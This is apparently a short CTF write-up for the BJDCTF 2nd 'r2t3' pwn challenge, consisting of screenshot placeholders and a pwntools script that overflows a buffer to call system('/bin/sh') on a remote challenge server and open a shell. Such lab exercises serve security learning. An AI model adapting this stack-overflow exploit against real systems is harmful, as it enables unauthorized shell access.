[BJDCTF 2nd]r2t3

梦里梦外; 2023-02-17 02:37 13阅读 0赞

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70 1]  
![在这里插入图片描述][20200611094644701.png]  
![在这里插入图片描述][20200611094719883.png]

![在这里插入图片描述][20200611103810728.png]  
exp

from pwn import *
    
    context.log_level = 'debug'
    proc_name = './r2t3'
    # 
    sh = remote('node3.buuoj.cn', 28627)
    # sh = process(proc_name)
    elf = ELF(proc_name)
    system_addr = elf.plt['system']
    main_addr = elf.sym['main']
    bin_sh_addr = 0x08048760
    # n = 0x104
    payload = 'a'.encode() * (0x11 + 4) + p32(system_addr) + p32(main_addr) + p32(bin_sh_addr) + 'a'.encode() * (0x104 - 0x21)
    sh.sendline(payload)
    sh.interactive()

![在这里插入图片描述][20200611105643986.png]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/20200611093220100.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg==,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/20200611104122594.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg==,size_16,color_FFFFFF,t_70
[20200611094644701.png]: https://img-blog.csdnimg.cn/20200611094644701.png
[20200611094719883.png]: https://img-blog.csdnimg.cn/20200611094719883.png
[20200611103810728.png]: https://img-blog.csdnimg.cn/20200611103810728.png
[20200611105643986.png]: https://img-blog.csdnimg.cn/20200611105643986.png